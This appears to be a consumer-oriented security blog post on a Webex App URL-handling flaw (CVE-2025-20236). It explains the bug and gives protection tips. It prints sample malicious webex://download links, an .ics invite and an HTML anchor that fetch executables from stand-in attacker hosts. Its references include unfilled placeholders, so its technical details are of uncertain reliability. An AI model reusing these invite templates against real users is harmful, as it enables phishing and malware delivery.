CVE-2025-20236 - Cisco Webex App Custom URL Parser Bug Lets Attackers Run Commands on Your PC
A brand new high-risk vulnerability, CVE-2025-20236, has been uncovered in the Cisco Webex App. This bug lives in the way Webex handles URLs in meeting invitations, and it can allow hackers to run commands on your computer—just by tricking you into clicking a link.
This long read will break down how the exploit works, who’s exposed, and what you can do to protect yourself. We'll use simple language and exclusive insights so even non-techies can understand the risk.
What Is CVE-2025-20236?
- Vulnerability Type: Improper input validation / arbitrary file download and command execution
Severity: Critical
In simple terms: Attackers can build a fake Webex meeting invite that, when clicked, makes your Webex app download a file and possibly run it. If the file is a program or script, that code is executed on your machine with your user permissions. This gives hackers a direct path for malware, ransomware, data theft, or remote access.
The Vulnerability Explained
Webex App supports special meeting invitation links with a webex:// protocol. This lets users join meetings right from their browser or email.
The problem: The Webex app doesn’t properly check what’s contained inside this link. An attacker could craft a webex:// link pointing to a file on the internet—maybe a .exe or script.
What’s Missing?
Webex's custom URL parser should only allow safe operations (like joining a meeting). Instead, insufficient validation means almost any resource can be downloaded.
`
webex://download?url=http://attacker-site.com/payload.exe
Victim clicks the link.
- Webex App processes the URL, downloads the payload.exe from attacker’s server, and (in some reported scenarios) even opens or executes it if auto-run options are enabled.
Here is what an actual malicious invite link could look like (use with caution, for learning only)
// Malicious .ics invite example
BEGIN:VCALENDAR
BEGIN:VEVENT
SUMMARY:Security Meeting
DESCRIPTION:Click here to join!
URL:webex://download?url=http://evil.example.com/malware.exe
END:VEVENT
END:VCALENDAR
Or as a clickable link in an email
<a href="webex://download?url=http://evil.example.com/malware.exe">
Join Webex Meeting
</a>
As soon as the victim clicks, the app fetches and potentially runs the unwanted file.
Remote & silent: Could be mass emailed or used in spear-phishing.
- Runs in your user space: Installs ransomware/keyloggers or creates backdoors.
Phishing:
Hackers email hundreds of employees a realistic-looking Webex invite. One click, and their device is infected.
Business Email Compromise:
Attacker compromises an organization’s email and then sends out "internal" meeting invites with the malicious link.
Cisco Security Advisory (placeholder, update once published):
Cisco Security Notice on CVE-2025-20236
Mitre CVE Details:
Security News:
BleepingComputer article (if/when published)
How To Protect Yourself
*Until Cisco releases a patch, here are ways to reduce your risk:*
Check URLs
- Hover your mouse over the meeting link. If it shows webex://download?, close and delete.
Use Security Tools
- Endpoint protection may block unauthorized downloads/executions.
Conclusion
CVE-2025-20236 is a critical vulnerability in Cisco Webex that makes it easy for attackers to get their malware running with just a click. Until a patch is available, users should be extra cautious with meeting invites and use the workarounds above to stay safe.
Stay alert—sometimes dangerous attacks come in the form of familiar, everyday tools.
Exclusive Tip:
If you must join a Webex meeting, type the meeting code into the Webex app directly instead of clicking links, especially if the invite looks the slightest bit suspicious.
References:
- Cisco Security Advisory
- MITRE CVE-2025-20236
*Stay safe. Share this article to help others avoid becoming victims!*
Timeline
Published on: 04/16/2025 17:15:49 UTC
Last modified on: 04/17/2025 20:22:16 UTC